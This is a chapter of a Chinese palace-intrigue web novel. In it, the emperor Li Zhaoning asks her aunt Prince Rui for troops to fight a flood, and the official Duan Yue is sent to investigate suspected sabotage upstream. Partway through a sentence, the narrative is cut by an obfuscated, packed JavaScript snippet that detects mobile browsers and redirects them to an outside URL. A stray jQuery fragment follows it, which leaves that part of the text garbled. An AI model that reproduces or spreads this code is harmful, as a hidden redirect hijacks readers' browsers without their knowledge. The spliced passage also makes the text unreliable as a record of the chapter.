62. 第六十二章

作品:《昭昭长安月

    “姑姑。”李昭宁被一个年纪稍大的宫女领进殿内,屈膝向堂上睿王施了一礼。


    彻夜不眠的李昭宁的双眼布满红血丝,神色虽然疲惫不堪,但一双眼眸却是通彻透亮,再也不复往日谨慎和恐惧了。


    睿王面色如常,目光扫过李昭的眉目时停滞了一瞬,但也未动声色,站起来拱手一揖:“陛下。”


    李昭宁被宫女扶着坐在椅子上,宫女端上茶来,睿王才开口:“陛下怎么想起来看我了?”


    李昭宁抬眸看向睿王,目光灼灼,诚挚而坦荡:“早闻姑姑治军有方,想来问姑姑借兵救助灾情,才好事半功倍,重振民心。”


    睿王悠悠一笑:“陛下倒是直白……”她放下手中茶盏,走到李昭宁面前,双手撑在李昭宁两侧的扶手上居高临下地看着她,柳眉一挑,音调也陡然拔高:“你为什么觉得我会帮你?”


    李昭宁虽然坐着,但也毫无畏惧地抬头看着睿王,那双眸子在阴影的遮蔽下更显透亮:“姑姑曾经告诉过我,亲人之爱不问缘由、不求认可,只要存在血缘,就有爱。”


    “但是我知道,姑姑的话其实并没有说完。”


    “姑姑当日藏在心里的后半个问句是——‘你愿不愿意相信?’”


    “我因从未获得过父母庇佑因而从来不敢相信亲人之爱,于是我拒绝了姑姑。”


    李昭宁直视着睿王,眨了眨眼睛,“但我现在可以回答姑姑。”


    “我愿意。”


    “哪怕我辜负了姑姑的期望,哪怕漕渠被洪水搅乱得一团糟,同万丈高楼顷刻间被推翻的恐惧也挡不住血亲之间本能的注视和靠近,”李昭宁弯唇一笑,“这一次,我不想再压抑自己了。”


    “我选择爱你。”


    话说出口的一刹那,李昭宁似乎也是松了一口气一般地,仿佛有一束光从云层之上直泻而下,照亮了长年阴暗的山谷。


    睿王仍旧目不转睛地盯着李昭宁,风吹动她鬓角的碎发,眉间浅笑也越发柔和。


    *


    下午,自漕渠两岸起至所有受灾的村落旁都布满了官兵,少部分是长安原有的守备军,而更多的则是身披甲胄的生面孔,队容整饬、纪律严明,操着一口长安人听不太懂的口音到处忙碌着抢险救灾。


    长安城里,裴府。


    “阿郎!”


    琢玉缓缓推门而入,手中红漆木盘上的白玉小碗中的黑漆漆的汤药正升腾着悠悠白雾,但端着盘子的那只手却微微地颤抖着,那双黑漆漆的瞳孔也反射着兴奋的光。


    裴砚此刻正坐在书案旁,左手提着笔在纸上聚精会神写着什么,右肩缠着厚厚的绷带,右臂也软软地垂着,并。他只穿了一身雪白的夹棉中衣,一头墨发如瀑垂下,阴影间那刀劈斧凿的五官更添几分锐利和冷肃。


    “怎么?”他笔尖停住,头却没抬,只是眉头微微地蹙起来。


    “长安城内多了很多救灾的官兵,皆为西北口音,”琢玉将盘子放下,把药碗端过来放在书案一角,眼中闪过几分忐忑和激动,“依奴看,都是睿王的兵。”


    “嗯。”裴砚并未看到琢玉的表情,也对他说的话几乎无感,只是轻轻地应了一声,笔尖又在纸上缓缓划动起来。


    琢玉张了张嘴,却发现一口气哽在嗓子里,一时竟不知该说什么。


    “有话就说。”裴砚淡淡道。


    琢玉看了看裴砚,想了一会,还是叹口气道:“郎君不怕睿王假意救灾,实则逼宫吗?”


    裴砚笔尖一顿,仿佛听到了什么笑话一般轻嗤一声,继而语气变得温软:“不会,且不说睿王绝不会杀她,就连这救灾的兵,也多半是李昭宁问睿王要来的。”


    琢玉一愣,对裴砚直呼帝王姓名有些意外和惶恐,但看到裴砚神色如常,又悄悄地放下心。


    看来自家郎君跟陛下是真的关系好。


    念及此,琢玉神色也有所缓和,笑问:“奴愚钝……此话怎讲?”


    裴砚抬起头瞥了琢玉一眼,将笔搁在笔架上,往后靠了靠,端起那碗药汤喝了一口,苦得令他眉头又紧紧地蹙起,深吸一口气才淡淡开口:“陛下或许会对睿王动手,但睿王一定不会对她动手。”


    睿王早在十年前就筹谋布局将李昭宁作为大位的替补人选,才会愿意将手里的封地分给她,让她试错、锻炼,也是略作考验,看她能不能成为一个合格的君主。所幸十年过去,姚州万废皆兴,百姓安居乐业,李昭宁的政治家风范在姚州政绩中一览无余。


    她看得透,拿得定,说得出,办得来,是有才干者,远比先帝强上百倍不止。


    睿王瞧中李昭宁,比裴砚筹谋她继位要早很多年,而裴砚之所以能够成功说服陈崔选择李昭宁回来继位,很难说睿王没有在暗中推动一分。


    “睿王对陛下一直都亲如母女,”裴砚竟是微微弯起了唇角,目光也变得悠长空灵,“一如既往。”


    她的童年过得辛苦,又被父母厌弃,如今能得一宽容慈爱的长辈如此偏爱,他为她高兴。


    琢玉这才点点头:“原来如此……”话没说完,又忽然想起什么,“那睿王为何来长安时那样来势汹汹,以致于让众人都以为她是来逼陛下退位的?”


    裴砚淡淡道:“睿王是被陈崔叫回来的,不剑拔弩张一些,如何骗取陈崔信任?”


    “反倒是她一回来,立刻就将陛下身边的眼线甚至她宫中的守卫都换了个干净,名为监视,实为保护。”


    “陛下一直对睿王的亲情抵触得很,”裴砚眨眨眼,淡淡地笑起来,“此番愿意去求睿王帮忙,想必是终于想通了。”


    琢玉点头如捣蒜:“想不到睿王竟是如此护着侄女……”


    他忽然想起了什么,瞪大眼睛盯着裴砚感叹道:“早闻陛下与阿郎关系甚笃,但奴竟不知阿郎竟对陛下了解至此,真是君臣情深啊……”


    说罢,他还装模作样地捋了捋并不存在的胡须。


    “……”


    裴砚皱眉将那一大碗漆黑苦涩的药汁喝了个干净,将碗放在了桌边:“端走吧。”


    琢玉抿唇憋笑,端着碗赶紧闪人。


    随着房门关上的一声轻响,房间内就只剩下裴砚一个人,那双眸子也在光线骤暗的一瞬间变得森冷而淡漠。


    他执笔思忖片刻,落墨的瞬间,却是轻轻地笑了起来。


    “杀鸡焉用牛刀……”他轻叹,“一万大军倾巢出动,这哪是赈灾,分明是……”


    风吹起裴砚肩头的长发,也将他未尽的话语吹散在穿窗而过的光束里。


    *


    “陛下。”


    延英殿内,一素衣青带、不饰钗环的女子缓缓上前屈膝跪地,对着堂上人缓缓一拜。


    她面颊如衣襟般苍白,嘴唇也如枯木般呈现出淡淡的褐色,低垂着头,神情肃穆而愧疚。


    “不是让你在家养病?怎么现在就来了?”李昭宁放下手中案卷,站起来缓缓走到段月身边,托着她的手肘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519614|168929||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲自将她扶了起来,“在江水里冻了一个时辰,没发烧?”


    眼看着她的手就要向自己的额头探去,段月赶紧握住了她的手腕,摇摇头勉强笑道:“不碍事。”


    段月退开一步,躬身拱手:“漕渠江水决堤,沿岸百姓受灾,臣来请罪。”


    李昭宁被她的抗拒弄得愣了愣,听到她的话,又噗哧一笑:“怎么,是你倒下去的洪水?”


    段月眼神一懵,盯了李昭宁半晌,苦笑道:“是臣该早些着人勘探,沿岸也该多设几处观测的角楼……”


    李昭宁拍拍段月的肩膀:“别总是把罪责往自己身上揽,”她直视着段月,目光诚挚而温暖,“冲垮房屋和田地的是洪水,而不是你。”


    段月笼起双手,垂下眼睫:“可是……”


    “防御工事做得再好,也架不住有人暗中使诈,”李昭宁双手扶住段月的肩膀,目光诚挚,“这洪水来的蹊跷,但朕又不能亲自去查,裴砚受了伤,我能托付的人,只有你。”


    段月一时有些茫然:“不是上游突降暴雨,支流河面的冰层融化才流过来的水?”


    李昭宁轻哼一声,“朕倒希望如此,这样就能顺手治个失职之罪,把你下放至江南去给朕做基础建设,”她深吸一口气,望着段月,“但朕怀疑,上游不止有天灾,还有人祸。”


    “你只管好好养病,待病好也不要声张,替朕溯游而上,去查查山间的堰塞湖。”①


    段月瞳孔猛地一颤,几乎是脱口而出:“陛下是怀疑有人炸毁了山中的……”


    “嘘……”李昭宁食指竖在段月唇间,“隔墙有耳,别声张。”


    段月望着李昭宁,看到她娇俏面庞中与年纪毫不相称的睿智和狡黠,不由得欣慰一笑,点了点头。


    段月刚走,便有一粉衣女官缓缓上前,将手中白玉托盘轻轻地搁在桌角,端起冒着热气的小玉盏:“陛下,该吃药了。”


    李昭宁面无表情地拿过药碗一饮而尽,眉头都没皱一下。


    “真是不怕苦啊……”一个低沉的女声在殿内响起,接着一阵猫儿似的脚步声传来,李昭宁抬头一看,便看见睿王正向着她缓缓走来。


    她穿着一身深紫色的齐胸襦裙,珠翠满头、环佩叮咚,眉心花钿与唇上丹蔻将苍白的面色遮了个七七八八。


    “姑姑病了还要这样打扮,”李昭宁的肩膀塌塌地垂下来,仪态也不似方才端庄,无奈地抿了抿唇角,“不觉得累?”


    “人靠衣装,脸要淡妆,”睿王睨她一眼,“你年轻,不知我们不惑之年的女子对容颜的执念……”


    李昭宁轻嗤一声,“姑姑没听说过,徐娘半老,风韵犹存?”


    睿王听到这话不禁展颜一笑,摇了摇头。


    她走到李昭宁面前,伸手拉过她的衣袖,“圆领袍确实方便,但终究男女不辨……”


    李昭宁皱眉:“什么?!”


    睿王轻笑出声:“既然君主是女子,自然该以裙钗之容示人,哪能跟男子用一样的制式?”


    李昭宁眼神一亮:“姑姑的意思是,愿意为我做一套女子的衮服?”


    她早就有过这个念头,只是一来碍于陈崔的限制不敢开口,二来也没有足够放心的人选来设计衣服的款式,于是只能搁置不提。


    直到睿王提起她才想起来,睿王精通缝纫和女红,制衣想必也十分优秀,请她做龙袍简直是天赐人选。


    睿王笑着点点头:“做好了,来试试?”